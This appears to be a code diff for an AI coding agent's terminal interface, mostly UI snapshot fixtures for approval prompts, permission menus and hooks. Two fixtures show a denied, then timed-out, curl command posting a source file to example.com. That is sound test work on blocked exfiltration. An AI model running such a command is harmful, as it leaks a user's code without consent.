remote_image_urls,
|
||||
text_elements,
|
||||
mention_bindings,
|
||||
});
|
||||
return QueueDrain::Stop;
|
||||
}
|
||||
|
||||
let args_elements = Self::slash_command_args_elements(rest, rest_offset, &text_elements);
|
||||
self.dispatch_prepared_command_with_args(
|
||||
cmd,
|
||||
PreparedSlashCommandArgs {
|
||||
args: rest.trim().to_string(),
|
||||
text_elements: args_elements,
|
||||
local_images,
|
||||
remote_image_urls,
|
||||
mention_bindings,
|
||||
source: SlashCommandDispatchSource::Queued,
|
||||
},
|
||||
);
|
||||
self.queued_command_drain_result(cmd)
|
||||
}
|
||||
|
||||
fn builtin_command_flags(&self) -> slash_commands::BuiltinCommandFlags {
|
||||
#[cfg(target_os = "windows")]
|
||||
let allow_elevate_sandbox = {
|
||||
let windows_sandbox_level = WindowsSandboxLevel::from_config(&self.config);
|
||||
matches!(windows_sandbox_level, WindowsSandboxLevel::RestrictedToken)
|
||||
};
|
||||
#[cfg(not(target_os = "windows"))]
|
||||
let allow_elevate_sandbox = false;
|
||||
|
||||
slash_commands::BuiltinCommandFlags {
|
||||
collaboration_modes_enabled: self.collaboration_modes_enabled(),
|
||||
connectors_enabled: self.connectors_enabled(),
|
||||
plugins_command_enabled: self.config.features.enabled(Feature::Plugins),
|
||||
fast_command_enabled: self.fast_mode_enabled(),
|
||||
personality_command_enabled: self.config.features.enabled(Feature::Personality),
|
||||
realtime_conversation_enabled: self.realtime_conversation_enabled(),
|
||||
audio_device_selection_enabled: self.realtime_audio_device_selection_enabled(),
|
||||
allow_elevate_sandbox,
|
||||
side_conversation_active: self.active_side_conversation,
|
||||
}
|
||||
}
|
||||
|
||||
fn queued_command_drain_result(&self, cmd: SlashCommand) -> QueueDrain {
|
||||
if self.is_user_turn_pending_or_running() || !self.bottom_pane.no_modal_or_popup_active() {
|
||||
return QueueDrain::Stop;
|
||||
}
|
||||
match cmd {
|
||||
SlashCommand::Fast
|
||||
| SlashCommand::Status
|
||||
| SlashCommand::DebugConfig
|
||||
| SlashCommand::Ps
|
||||
| SlashCommand::Stop
|
||||
| SlashCommand::MemoryDrop
|
||||
| SlashCommand::MemoryUpdate
|
||||
| SlashCommand::Mcp
|
||||
| SlashCommand::Apps
|
||||
| SlashCommand::Plugins
|
||||
| SlashCommand::Rollout
|
||||
| SlashCommand::Copy
|
||||
| SlashCommand::Diff
|
||||
| SlashCommand::Rename
|
||||
| SlashCommand::TestApproval => QueueDrain::Continue,
|
||||
SlashCommand::Feedback
|
||||
| SlashCommand::New
|
||||
| SlashCommand::Clear
|
||||
| SlashCommand::Resume
|
||||
| SlashCommand::Fork
|
||||
| SlashCommand::Init
|
||||
| SlashCommand::Compact
|
||||
| SlashCommand::Review
|
||||
| SlashCommand::Model
|
||||
| SlashCommand::Realtime
|
||||
| SlashCommand::Settings
|
||||
| SlashCommand::Personality
|
||||
| SlashCommand::Plan
|
||||
| SlashCommand::Collab
|
||||
| SlashCommand::Side
|
||||
| SlashCommand::Agent
|
||||
| SlashCommand::MultiAgents
|
||||
| SlashCommand::Approvals
|
||||
| SlashCommand::Permissions
|
||||
| SlashCommand::ElevateSandbox
|
||||
| SlashCommand::SandboxReadRoot
|
||||
| SlashCommand::Experimental
|
||||
| SlashCommand::Memories
|
||||
| SlashCommand::Quit
|
||||
| SlashCommand::Exit
|
||||
| SlashCommand::Logout
|
||||
| SlashCommand::Mention
|
||||
| SlashCommand::Skills
|
||||
| SlashCommand::Title
|
||||
| SlashCommand::Statusline
|
||||
| SlashCommand::Theme => QueueDrain::Stop,
|
||||
}
|
||||
}
|
||||
|
||||
fn slash_command_args_elements(
|
||||
rest: &str,
|
||||
rest_offset: usize,
|
||||
text_elements: &[TextElement],
|
||||
) -> Vec<TextElement> {
|
||||
if rest.is_empty() || text_elements.is_empty() {
|
||||
return Vec::new();
|
||||
}
|
||||
text_elements
|
||||
.iter()
|
||||
.filter_map(|elem| {
|
||||
if elem.byte_range.end <= rest_offset {
|
||||
return None;
|
||||
}
|
||||
let start = elem.byte_range.start.saturating_sub(rest_offset);
|
||||
let mut end = elem.byte_range.end.saturating_sub(rest_offset);
|
||||
if start >= rest.len() {
|
||||
return None;
|
||||
}
|
||||
end = end.min(rest.len());
|
||||
(start < end).then_some(elem.map_range(|_| ByteRange { start, end }))
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn ensure_slash_command_allowed_in_side_conversation(&mut self, cmd: SlashCommand) -> bool {
|
||||
if !self.active_side_conversation || cmd.available_in_side_conversation() {
|
||||
return true;
|
||||
}
|
||||
self.add_error_message(format!(
|
||||
"'/{}' is unavailable in side conversations. {SIDE_SLASH_COMMAND_UNAVAILABLE_HINT}",
|
||||
cmd.command()
|
||||
));
|
||||
self.bottom_pane.drain_pending_submission_state();
|
||||
false
|
||||
}
|
||||
|
||||
fn ensure_side_command_allowed_outside_review(&mut self, cmd: SlashCommand) -> bool {
|
||||
if cmd != SlashCommand::Side || !self.is_review_mode {
|
||||
return true;
|
||||
}
|
||||
|
||||
self.add_error_message(SIDE_REVIEW_UNAVAILABLE_MESSAGE.to_string());
|
||||
self.bottom_pane.drain_pending_submission_state();
|
||||
false
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,6 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: combined
|
||||
---
|
||||
• Spawned 019cff70-2599-75e2-af72-b91781b41a8e (gpt-5 high)
|
||||
└ Explore the repo
|
||||
|
|
@ -0,0 +1,12 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: combined
|
||||
---
|
||||
• Waiting for 2 agents
|
||||
└ Robie [explorer]
|
||||
Ada [reviewer]
|
||||
|
||||
|
||||
• Finished waiting
|
||||
└ Robie [explorer]: Completed - Done
|
||||
Ada [reviewer]: Running
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/history_replay.rs
|
||||
expression: combined
|
||||
---
|
||||
• Thread forked from app-server-parent-thread (e9f18a88-8081-4e51-9d4e-8af5cde2d8dd)
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/history_replay.rs
|
||||
expression: combined
|
||||
---
|
||||
• Thread forked from 019c2d47-4935-7423-a190-05691f566092
|
||||
|
|
@ -0,0 +1,13 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/guardian.rs
|
||||
expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
|
||||
---
|
||||
✗ Request denied for codex to run curl -sS -i -X POST --data-binary @core/src/c
|
||||
odex.rs https://example.com
|
||||
|
||||
• Working (0s • esc to interrupt)
|
||||
|
||||
|
||||
› Ask Codex to do anything
|
||||
|
||||
gpt-5.4 default · /tmp/project
|
||||
|
|
@ -0,0 +1,20 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/guardian.rs
|
||||
expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
|
||||
---
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
✗ Review timed out before codex could run curl -sS -i -X POST --data-binary @co
|
||||
re/src/codex.rs https://example.com
|
||||
|
||||
• Working (0s • esc to interrupt)
|
||||
|
||||
|
||||
› Ask Codex to do anything
|
||||
|
||||
gpt-5.4 default · /tmp/project
|
||||
|
|
@ -0,0 +1,11 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/mcp_startup.rs
|
||||
expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
|
||||
---
|
||||
⚠ MCP client for `alpha` failed to start: handshake failed
|
||||
⚠ MCP startup incomplete (failed: alpha)
|
||||
|
||||
|
||||
› Ask Codex to do anything
|
||||
|
||||
gpt-5.4 default · /tmp/project
|
||||
|
|
@ -0,0 +1,6 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: lines_to_single_string(&approved_lines)
|
||||
---
|
||||
• Added foo.txt (+1 -0)
|
||||
1 +hello
|
||||
|
|
@ -0,0 +1,17 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: terminal.backend().vt100().screen().contents()
|
||||
---
|
||||
|
||||
|
||||
Would you like to run the following command?
|
||||
|
||||
Reason: this is a test reason such as one that would be produced by the model
|
||||
|
||||
$ echo hello world
|
||||
|
||||
› 1. Yes, proceed (y)
|
||||
2. Yes, and don't ask again for commands that start with `echo hello world` (p)
|
||||
3. No, and tell Codex what to do differently (esc)
|
||||
|
||||
Press enter to confirm or esc to cancel
|
||||
|
|
@ -0,0 +1,16 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: contents
|
||||
---
|
||||
|
||||
|
||||
Would you like to run the following command?
|
||||
|
||||
$ python - <<'PY'
|
||||
print('hello')
|
||||
PY
|
||||
|
||||
› 1. Yes, proceed (y)
|
||||
2. No, and tell Codex what to do differently (esc)
|
||||
|
||||
Press enter to confirm or esc to cancel
|
||||
|
|
@ -0,0 +1,15 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: terminal.backend().vt100().screen().contents()
|
||||
---
|
||||
|
||||
|
||||
Would you like to run the following command?
|
||||
|
||||
$ echo hello world
|
||||
|
||||
› 1. Yes, proceed (y)
|
||||
2. Yes, and don't ask again for commands that start with `echo hello world` (p)
|
||||
3. No, and tell Codex what to do differently (esc)
|
||||
|
||||
Press enter to confirm or esc to cancel
|
||||
|
|
@ -0,0 +1,20 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: terminal.backend().vt100().screen().contents()
|
||||
---
|
||||
|
||||
|
||||
Would you like to make the following edits?
|
||||
|
||||
Reason: The model wants to apply changes
|
||||
|
||||
README.md (+2 -0)
|
||||
|
||||
1 +hello
|
||||
2 +world
|
||||
|
||||
› 1. Yes, proceed (y)
|
||||
2. Yes, and don't ask again for these files (a)
|
||||
3. No, and tell Codex what to do differently (esc)
|
||||
|
||||
Press enter to confirm or esc to cancel
|
||||
|
|
@ -0,0 +1,14 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Update Model Permissions
|
||||
|
||||
› 1. Default Codex can read and edit files in the current workspace, and
|
||||
run commands. Approval is required to access the internet or
|
||||
edit other files.
|
||||
2. Full Access Codex can edit files outside this workspace and access the
|
||||
internet without asking for approval. Exercise caution when
|
||||
using.
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
|
|
@ -0,0 +1,17 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Update Model Permissions
|
||||
|
||||
› 1. Read Only (current) Codex can read files in the current workspace.
|
||||
Approval is required to edit files or access the
|
||||
internet.
|
||||
2. Default Codex can read and edit files in the current
|
||||
workspace, and run commands. Approval is required to
|
||||
access the internet or edit other files.
|
||||
3. Full Access Codex can edit files outside this workspace and
|
||||
access the internet without asking for approval.
|
||||
Exercise caution when using.
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
|
|
@ -0,0 +1,23 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
assertion_line: 3945
|
||||
expression: popup
|
||||
---
|
||||
Update Model Permissions
|
||||
|
||||
› 1. Read Only (current) Codex can read files in the current
|
||||
workspace. Approval is required to edit
|
||||
files or access the internet.
|
||||
2. Default (non-admin sandbox) Codex can read and edit files in the
|
||||
current workspace, and run commands.
|
||||
Approval is required to access the
|
||||
internet or edit other files.
|
||||
3. Full Access Codex can edit files outside this
|
||||
workspace and access the internet without
|
||||
asking for approval. Exercise caution
|
||||
when using.
|
||||
|
||||
The non-admin sandbox protects your files and prevents network access under
|
||||
most circumstances. However, it carries greater risk if prompt injected. To
|
||||
upgrade to the default sandbox, run /setup-default-sandbox.
|
||||
Press enter to confirm or esc to go back
|
||||
|
|
@ -0,0 +1,8 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: before
|
||||
---
|
||||
Apps
|
||||
Loading installed and available apps...
|
||||
|
||||
› Loading apps... This updates when the full list is ready.
|
||||
|
|
@ -0,0 +1,153 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: "lines[start_idx..].join(\"\\n\")"
|
||||
---
|
||||
• I need to check the codex-rs repository to explain why the project's binaries
|
||||
are large. The user is likely seeking specifics about the setup: are Rust
|
||||
builds static, what features are enabled, and is debug information included?
|
||||
It could be due to static linking, included OpenSSL, or how panic handling
|
||||
is set up. I should look into the Cargo.toml file to confirm features and
|
||||
profiles without needing to edit any code. Let's get started on this!
|
||||
|
||||
─ Worked for 0s ────────────────────────────────────────────────────────────────
|
||||
|
||||
• I’m going to scan the workspace and Cargo manifests to see build profiles and
|
||||
dependencies that impact binary size. Then I’ll summarize the main causes.
|
||||
|
||||
• Explored
|
||||
└ List ls -la
|
||||
Read Cargo.toml
|
||||
|
||||
• I'm reviewing the workspace's release profile, which has settings like
|
||||
lto=fat, strip=symbols, and codegen-units=1 to reduce binary size. However, it
|
||||
seems that "strip = symbols" only removes symbols, not debug information. In
|
||||
Rust 1.73+, both "symbols" and "debuginfo" stripping options are available. I
|
||||
should check whether using these results in a smaller binary. I’ll also skim
|
||||
through crates for heavy dependencies in Cargo.toml, including cli, core,
|
||||
exec, linux-sandbox, tui, login, ollama, and mcp.
|
||||
|
||||
• Ran for d in ansi-escape apply-patch arg0 cli common core exec execpolicy
|
||||
│ file-search linux-sandbox login mcp-client mcp-server ollama
|
||||
│ tui; do echo "--- $d/Cargo.toml"; sed -n '1,200p' $d/Cargo.toml; echo;
|
||||
│ … +1 lines
|
||||
└ --- ansi-escape/Cargo.toml
|
||||
[package]
|
||||
… +243 lines
|
||||
] }
|
||||
tracing = { version
|
||||
|
||||
• Explored
|
||||
└ Read Cargo.toml
|
||||
|
||||
• I’m evaluating how binary size is influenced by various factors. There are
|
||||
many binaries, such as codex and codex-exec, which include dependencies by
|
||||
default, pulling in features like Tokio and hyper. For instance, reqwest
|
||||
includes default features like TLS through rustls. If default features remain
|
||||
enabled, it inflates the size with many additional components. I notice
|
||||
that for musl targets, using vendored builds of OpenSSL could significantly
|
||||
increase binary size. This is quite the intricate web of dependencies!
|
||||
|
||||
Analyzing musl and binary size
|
||||
|
||||
I’m considering the implications of building for musl with static linking.
|
||||
In this case, OpenSSL might come into play through some crates, but reqwest
|
||||
defaults to using rustls, although openssl-sys vendored could increase
|
||||
binary size. It’s interesting to think about whether they’re targeting musl,
|
||||
especially since it seems they might often be building for Mac and Linux with
|
||||
dynamic linking instead.
|
||||
|
||||
I also realize there’s a difference between debug and release builds — release
|
||||
should be smaller due to optimizations, but if they’re defaulting to debug
|
||||
builds, that could lead to much larger binaries.
|
||||
|
||||
Assessing crate impacts on size
|
||||
|
||||
I need to be precise when analyzing binary sizes from various crates. Some
|
||||
crates, like ratatui-image, include heavy features such as libjpeg decoders,
|
||||
which can really bulk things up. Then there are the tree-sitter crates that
|
||||
contain large static grammar tables, adding significant size. The starlark
|
||||
crate and tracing-subscriber also contribute to size increases.
|
||||
|
||||
With static linking per binary being standard in Rust, it leads to multiple
|
||||
copies of the same dependencies unless cdylibs are used. That makes the
|
||||
compile times longer, but using LTO helps reduce bloat somewhat through
|
||||
deduplication.
|
||||
|
||||
Evaluating binary size factors
|
||||
|
||||
Having multiple binaries indeed increases the overall size significantly.
|
||||
I'm considering options like upgrading to "opt-level = 'z'" or using
|
||||
"strip=debuginfo" for reducing size. It's interesting that while the profile
|
||||
only sets symbols for stripping, not debuginfo, this could inflate sizes if
|
||||
retained in release builds.
|
||||
|
||||
The distinction between "symbols" and "debuginfo" is critical; "symbols"
|
||||
keeps debug information which may not align with the goal of minimizing
|
||||
size. I’d like to verify with the Rust documentation, but my network access
|
||||
is restricted.
|
||||
|
||||
Explaining large binary sizes
|
||||
|
||||
I’m analyzing why binaries in this project are so large. The primary reasons
|
||||
include monolithic static linking, where each binary includes the full
|
||||
dependency graph without shared libraries. Heavy dependencies such as reqwest,
|
||||
hyper, and TLS components also contribute significantly to size, along with
|
||||
image decoders and other libraries.
|
||||
|
||||
Using MUSL targets means vendored OpenSSL can drastically increase the
|
||||
size due to static linking. Furthermore, if the release profile keeps debug
|
||||
information due to using "strip = symbols," that can lead to larger binaries
|
||||
as well. It’s a mix of several factors, including panic strategies and
|
||||
platform-specific linking behavior.
|
||||
|
||||
Identifying binary size contributors
|
||||
|
||||
I’m considering why binaries are still large even without static linking. The
|
||||
tracing-subscriber crate potentially adds weight because it includes regex,
|
||||
though it can sometimes use a lighter version. References from files like
|
||||
"core/Cargo.toml" show dependencies like reqwest and tokio, while the tui uses
|
||||
the image crate.
|
||||
|
||||
To present this clearly, I’ll format the final answer with two main sections:
|
||||
"Main Causes" and "Build-Mode Notes." I can also include brief suggestions for
|
||||
reducing size, but I want to stay focused on answering the user's question.
|
||||
|
||||
─ Worked for 0s ────────────────────────────────────────────────────────────────
|
||||
|
||||
• Here’s what’s driving size in this workspace’s binaries.
|
||||
|
||||
Main Causes
|
||||
|
||||
- Static linking style: Each bin (codex, codex-tui, codex-exec, codex-mcp-
|
||||
server, etc.) statically links its full dependency graph, so common code isn’t
|
||||
shared at runtime across executables.
|
||||
- Heavy deps (HTTP/TLS): reqwest brings in Hyper, HTTP/2, compressors,
|
||||
and a TLS stack (rustls by default; OpenSSL on musl). In core, login, tui,
|
||||
and ollama you enable reqwest with json/stream, which still pulls a large
|
||||
transitive set.
|
||||
- Image/terminal stack: codex-tui includes image (with jpeg), ratatui,
|
||||
crossterm, and ratatui-image, which together contribute significant code size
|
||||
(decoders, pixel ops, terminal backends).
|
||||
- Parsers/VMs: tree-sitter + tree-sitter-bash (in core and apply-patch) and
|
||||
starlark (in execpolicy) include sizeable parser/VM tables and runtimes.
|
||||
- Tokio runtime: Broad tokio features (rt-multi-thread, macros, process,
|
||||
signal) across many crates inflate code size even if only subsets are used
|
||||
per bin.
|
||||
- Panic + backtraces: Default panic = unwind and backtrace support keep
|
||||
unwinding tables and symbols that add weight.
|
||||
- Per-target OpenSSL (musl): For *-unknown-linux-musl, core enables openssl-
|
||||
sys with vendored, compiling OpenSSL into the binary—this adds multiple
|
||||
megabytes per executable.
|
||||
|
||||
Build-Mode Notes
|
||||
|
||||
- Release settings: You use lto = "fat" and codegen-units = 1 (good for size),
|
||||
but strip = "symbols" keeps debuginfo. Debuginfo is often the largest single
|
||||
contributor; if you build in release with that setting, binaries can still
|
||||
be large.
|
||||
- Debug builds: cargo build (dev profile) includes full debuginfo, no LTO, and
|
||||
assertions—outputs are much larger than cargo build --release.
|
||||
|
||||
If you want, I can outline targeted trims (e.g., strip = "debuginfo", opt-
|
||||
level = "z", panic abort, tighter tokio/reqwest features) and estimate impact
|
||||
per binary.
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: terminal.backend()
|
||||
---
|
||||
" "
|
||||
|
|
@ -0,0 +1,6 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: terminal.backend()
|
||||
---
|
||||
" "
|
||||
" "
|
||||
|
|
@ -0,0 +1,7 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: terminal.backend()
|
||||
---
|
||||
" "
|
||||
" "
|
||||
" "
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: terminal.backend()
|
||||
---
|
||||
" "
|
||||
|
|
@ -0,0 +1,6 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: terminal.backend()
|
||||
---
|
||||
" "
|
||||
" "
|
||||
|
|
@ -0,0 +1,7 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: terminal.backend()
|
||||
---
|
||||
" "
|
||||
" "
|
||||
" "
|
||||
|
|
@ -0,0 +1,44 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: term.backend().vt100().screen().contents()
|
||||
---
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
• I’m going to search the repo for where “Change Approved” is rendered to update
|
||||
that view.
|
||||
|
||||
• Explored
|
||||
└ Search Change Approved
|
||||
Read diff_render.rs
|
||||
|
||||
• Investigating rendering code (0s • esc to interrupt)
|
||||
|
||||
|
||||
› Summarize recent commits
|
||||
|
||||
tab to queue message 100% context left
|
||||
|
|
@ -0,0 +1,53 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: term.backend().vt100().screen().contents()
|
||||
---
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
• -- Indented code block (4 spaces)
|
||||
SELECT *
|
||||
FROM "users"
|
||||
WHERE "email" LIKE '%@example.com';
|
||||
|
||||
```sh
|
||||
printf 'fenced within fenced\n'
|
||||
```
|
||||
|
||||
{
|
||||
// comment allowed in jsonc
|
||||
"path": "C:\\Program Files\\App",
|
||||
"regex": "^foo.*(bar)?$"
|
||||
}
|
||||
|
|
@ -0,0 +1,29 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/status_and_layout.rs
|
||||
assertion_line: 2288
|
||||
expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
|
||||
---
|
||||
|
||||
• Working (0s • esc to interrupt)
|
||||
|
||||
• Queued follow-up inputs
|
||||
↳ Hello, world! 0
|
||||
↳ Hello, world! 1
|
||||
↳ Hello, world! 2
|
||||
↳ Hello, world! 3
|
||||
↳ Hello, world! 4
|
||||
↳ Hello, world! 5
|
||||
↳ Hello, world! 6
|
||||
↳ Hello, world! 7
|
||||
↳ Hello, world! 8
|
||||
↳ Hello, world! 9
|
||||
↳ Hello, world! 10
|
||||
↳ Hello, world! 11
|
||||
↳ Hello, world! 12
|
||||
↳ Hello, world! 13
|
||||
↳ Hello, world! 14
|
||||
↳ Hello, world! 15
|
||||
|
||||
› Ask Codex to do anything
|
||||
|
||||
gpt-5.4 default · /tmp/project
|
||||
|
|
@ -0,0 +1,12 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/slash_commands.rs
|
||||
expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
|
||||
---
|
||||
• Working (0s • esc to interrupt)
|
||||
|
||||
• Messages to be submitted at end of turn
|
||||
↳ Steer submitted while /compact was running.
|
||||
|
||||
› Ask Codex to do anything
|
||||
|
||||
gpt-5.4 default · /tmp/project
|
||||
|
|
@ -0,0 +1,11 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/status_and_layout.rs
|
||||
expression: "format!(\"active hooks:\\n{}history:\\n{history}\", active_hook_blob(&chat))"
|
||||
---
|
||||
active hooks:
|
||||
<empty>
|
||||
history:
|
||||
• PreToolUse hook (blocked)
|
||||
feedback: command blocked by policy
|
||||
|
||||
• The hook feedback was applied.
|
||||
|
|
@ -0,0 +1,16 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/status_and_layout.rs
|
||||
expression: "format!(\"{running_snapshot}\\n\\n{completed_snapshot}\")"
|
||||
---
|
||||
running
|
||||
live hooks:
|
||||
• Running PreToolUse hook: checking command
|
||||
history:
|
||||
<empty>
|
||||
|
||||
completed
|
||||
live hooks:
|
||||
<empty>
|
||||
history:
|
||||
• PreToolUse hook (blocked)
|
||||
feedback: command blocked by policy
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/status_and_layout.rs
|
||||
expression: "format!(\"active hooks:\\n{}history:\\n{history}\", active_hook_blob(&chat))"
|
||||
---
|
||||
active hooks:
|
||||
• Running Stop hook: checking stop condition
|
||||
history:
|
||||
• Stop hook (stopped)
|
||||
stop: continue with more context
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: combined
|
||||
---
|
||||
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: blob
|
||||
---
|
||||
■ '/model' is disabled while a task is in progress.
|
||||
|
|
@ -0,0 +1,7 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/exec_flow.rs
|
||||
assertion_line: 217
|
||||
expression: lines_to_single_string(&aborted_long)
|
||||
---
|
||||
✗ You canceled the request to run echo
|
||||
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...
|
||||
|
|
@ -0,0 +1,6 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/exec_flow.rs
|
||||
assertion_line: 183
|
||||
expression: lines_to_single_string(&aborted_multi)
|
||||
---
|
||||
✗ You canceled the request to run echo line1 ...
|
||||
|
|
@ -0,0 +1,6 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/exec_flow.rs
|
||||
assertion_line: 47
|
||||
expression: lines_to_single_string(&decision)
|
||||
---
|
||||
✔ You approved codex to run echo hello world this time
|
||||
|
|
@ -0,0 +1,40 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/exec_flow.rs
|
||||
assertion_line: 40
|
||||
expression: "format!(\"{buf:?}\")"
|
||||
---
|
||||
Buffer {
|
||||
area: Rect { x: 0, y: 0, width: 80, height: 13 },
|
||||
content: [
|
||||
" ",
|
||||
" ",
|
||||
" Would you like to run the following command? ",
|
||||
" ",
|
||||
" Reason: this is a test reason such as one that would be produced by the ",
|
||||
" model ",
|
||||
" ",
|
||||
" $ echo hello world ",
|
||||
" ",
|
||||
"› 1. Yes, proceed (y) ",
|
||||
" 2. No, and tell Codex what to do differently (esc) ",
|
||||
" ",
|
||||
" Press enter to confirm or esc to cancel ",
|
||||
],
|
||||
styles: [
|
||||
x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE,
|
||||
x: 2, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: BOLD,
|
||||
x: 46, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: NONE,
|
||||
x: 10, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: ITALIC,
|
||||
x: 73, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: NONE,
|
||||
x: 2, y: 5, fg: Reset, bg: Reset, underline: Reset, modifier: ITALIC,
|
||||
x: 7, y: 5, fg: Reset, bg: Reset, underline: Reset, modifier: NONE,
|
||||
x: 4, y: 7, fg: Rgb(137, 180, 250), bg: Reset, underline: Reset, modifier: NONE,
|
||||
x: 8, y: 7, fg: Rgb(205, 214, 244), bg: Reset, underline: Reset, modifier: NONE,
|
||||
x: 20, y: 7, fg: Reset, bg: Reset, underline: Reset, modifier: NONE,
|
||||
x: 0, y: 9, fg: Cyan, bg: Reset, underline: Reset, modifier: BOLD,
|
||||
x: 21, y: 9, fg: Reset, bg: Reset, underline: Reset, modifier: NONE,
|
||||
x: 48, y: 10, fg: Reset, bg: Reset, underline: Reset, modifier: DIM,
|
||||
x: 51, y: 10, fg: Reset, bg: Reset, underline: Reset, modifier: NONE,
|
||||
x: 2, y: 12, fg: Reset, bg: Reset, underline: Reset, modifier: DIM,
|
||||
]
|
||||
}
|
||||
|
|
@ -0,0 +1,11 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Experimental features
|
||||
Toggle experimental features. Changes are saved to config.toml.
|
||||
|
||||
› [ ] Ghost snapshots Capture undo snapshots each turn.
|
||||
[x] Shell tool Allow the model to run shell commands.
|
||||
|
||||
Press space to select or enter to save for next conversation
|
||||
|
|
@ -0,0 +1,6 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: active_blob(&chat)
|
||||
---
|
||||
• Exploring
|
||||
└ List ls -la
|
||||
|
|
@ -0,0 +1,6 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: active_blob(&chat)
|
||||
---
|
||||
• Explored
|
||||
└ List ls -la
|
||||
|
|
@ -0,0 +1,7 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: active_blob(&chat)
|
||||
---
|
||||
• Exploring
|
||||
└ List ls -la
|
||||
Read foo.txt
|
||||
|
|
@ -0,0 +1,7 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: active_blob(&chat)
|
||||
---
|
||||
• Explored
|
||||
└ List ls -la
|
||||
Read foo.txt
|
||||
|
|
@ -0,0 +1,7 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: active_blob(&chat)
|
||||
---
|
||||
• Explored
|
||||
└ List ls -la
|
||||
Read foo.txt
|
||||
|
|
@ -0,0 +1,7 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: active_blob(&chat)
|
||||
---
|
||||
• Explored
|
||||
└ List ls -la
|
||||
Read foo.txt, bar.txt
|
||||
|
|
@ -0,0 +1,15 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Upload logs?
|
||||
|
||||
The following files will be sent:
|
||||
• codex-logs.log
|
||||
• codex-connectivity-diagnostics.txt
|
||||
|
||||
